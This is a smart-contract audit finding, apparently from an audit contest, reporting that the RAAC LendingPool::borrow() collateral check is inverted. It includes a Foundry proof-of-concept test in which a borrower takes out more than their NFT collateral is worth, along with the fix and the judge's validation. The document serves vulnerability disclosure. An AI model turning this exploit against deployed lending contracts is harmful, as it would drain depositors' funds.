Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Users can borrow above the liquidation threshold and more than their collateral value

Summary

An incorrect validation in LendingPool::borrow() allows users to borrow more than the liquidation threshold and their collateral value.

Vulnerability Details

In LendingPool::borrow()(line 456) there is a validation that is supposed to ensure the amount the user is trying to borrow will not push his debt above the liquidation threshold.
The validation is incorrect. Instead of checking that the user's total debt (including amount he is trying to borrow) will not exceed the liquidation threshold it checks whether the collateral value is smaller than the liquidation threshold amount.

This will allow users to borrow more than their collateral should support (crossing over liquidation threshold and their collateral value).

// Ensure the user has enough collateral to cover the new debt
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

Impact

Users can drain the lending pool by borrowing more than their collateral value.

POC

set up:

  1. run npm install and add .env file if you haven't already

  2. npm i --save-dev @nomicfoundation/hardhat-foundry - Install the hardhat-foundry plugin.

  3. Add require("@nomicfoundation/hardhat-foundry"); to the top of your hardhat.config.js file.

  4. Run npx hardhat init-foundry in your terminal. This will generate a foundry.toml file based on your Hardhat project’s existing configuration, and will install the forge-std library.

  5. mkdir test/foundry

  6. Create *.t.sol file inside /test/foundry and paste the POC inside.

  7. In foundry.toml update test = 'test/foundry'

running test:

forge test --match-test testUserCanBorrowAboveLiquidationThreshold -vv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "../../contracts/core/pools/LendingPool/LendingPool.sol";
import "../../contracts/libraries/pools/ReserveLibrary.sol";
import "../../lib/forge-std/src/Test.sol";
import "../../lib/forge-std/src/console.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "../../contracts/core/tokens/DebtToken.sol";
import "../../contracts/core/tokens/RToken.sol";
import "../../contracts/core/tokens/RAACNFT.sol";
import "../../contracts/core/primitives/RAACHousePrices.sol";
import "../../contracts/libraries/math/WadRayMath.sol";
import "../../contracts/libraries/math/PercentageMath.sol";
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
function balanceOf(address account) public view override returns (uint256) {
return super.balanceOf(account);
}
}
contract ReserveLibraryTest is Test {
using WadRayMath for uint256;
using PercentageMath for uint256;
//address that deploys and owns contracts
address owner;
address user;
LendingPool lendingPool;
MockERC20 reserveAsset;
RToken rToken;
DebtToken debtToken;
RAACNFT raacNFt;
address priceOracle;
RAACHousePrices housePrices;
ReserveLibrary.ReserveData reserve;
ReserveLibrary.ReserveRateData rateData;
function setUp() public {
owner = makeAddr("owner");
initializeContracts(owner);
configureContracts(owner);
user = makeAddr("user");
}
function initializeContracts(address _owner) internal {
reserveAsset = new MockERC20("reserveMock", "mkTkn");
rToken = new RToken("rMock", "mkTkn", _owner, address(reserveAsset));
debtToken = new DebtToken("debtMock", "mkTkn", _owner);
priceOracle = makeAddr("priceOracle");
housePrices = new RAACHousePrices(_owner);
raacNFt = new RAACNFT(
address(reserveAsset),
address(housePrices),
_owner
);
lendingPool = new LendingPool(
address(reserveAsset),
address(rToken),
address(debtToken),
address(raacNFt),
address(housePrices),
1e26
);
}
function configureContracts(address _owner) internal {
vm.startPrank(_owner);
housePrices.setOracle(priceOracle);
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
vm.stopPrank();
vm.prank(priceOracle);
housePrices.setHousePrice(1, 10_000);
}
function updateReserveStates() public {
(
address reserveRTokenAddress,
address reserveAssetAddress,
address reserveDebtTokenAddress,
uint256 totalLiquidity,
uint256 totalUsage,
uint128 liquidityIndex,
uint128 usageIndex,
uint40 lastUpdateTimestamp
) = lendingPool.reserve();
reserve = ReserveLibrary.ReserveData(
reserveRTokenAddress,
reserveAssetAddress,
reserveDebtTokenAddress,
totalLiquidity,
totalUsage,
liquidityIndex,
usageIndex,
lastUpdateTimestamp
);
(
uint256 currentLiquidityRate,
uint256 currentUsageRate,
uint256 primeRate,
uint256 baseRate,
uint256 optimalRate,
uint256 maxRate,
uint256 optimalUtilizationRate,
uint256 protocolFeeRate
) = lendingPool.rateData();
rateData = ReserveLibrary.ReserveRateData(
currentLiquidityRate,
currentUsageRate,
primeRate,
baseRate,
optimalRate,
maxRate,
optimalUtilizationRate,
protocolFeeRate
);
}
function testUserCanBorrowAboveLiquidationThreshold() public {
address borrower = makeAddr("borrower");
//mint reserve asset
reserveAsset.mint(user, 20_000);
reserveAsset.mint(borrower, 10_000);
//deposit liquidity into the lending pool
vm.startPrank(user);
deposit(20_000);
vm.stopPrank();
//borrow
vm.startPrank(borrower);
mintNFT();
depositNFT();
lendingPool.borrow(11_000);
vm.stopPrank();
//workaround for borrow not updating the indexes after executing state changes
updateReserveStates();
ReserveLibrary.updateReserveInterests(reserve, rateData);
//get borrower collateral value
uint256 borrowerCollateralValue = lendingPool.getUserCollateralValue(borrower);
//get borrower liquidation threshold amount
(uint256 scaledDebtBalance,,) = lendingPool.userData(borrower);
uint256 borrowerTotalDebt = scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 liquidationThresholdAmount = borrowerCollateralValue.percentMul(lendingPool.liquidationThreshold());
console.log("borrower collateral value: %d", borrowerCollateralValue);
console.log("borrower liquidation threshold amount: %d", liquidationThresholdAmount);
console.log("borrower debt: %d", debtToken.scaledBalanceOf(borrower));
//assert user borrowed more than the liquidation threshold amount
assert(debtToken.scaledBalanceOf(borrower) > liquidationThresholdAmount);
}
function mintNFT() internal {
reserveAsset.approve(address(raacNFt), 10_000);
raacNFt.mint(1, 10_000);
}
function depositNFT() internal {
raacNFt.approve(address(lendingPool), 1);
lendingPool.depositNFT(1);
}
function deposit(uint256 amount) internal {
reserveAsset.approve(address(lendingPool), amount);
lendingPool.deposit(amount);
}
}

Tools Used

Manual review

Recommendations

- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
+ if (userTotalDebt > collateralValue.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.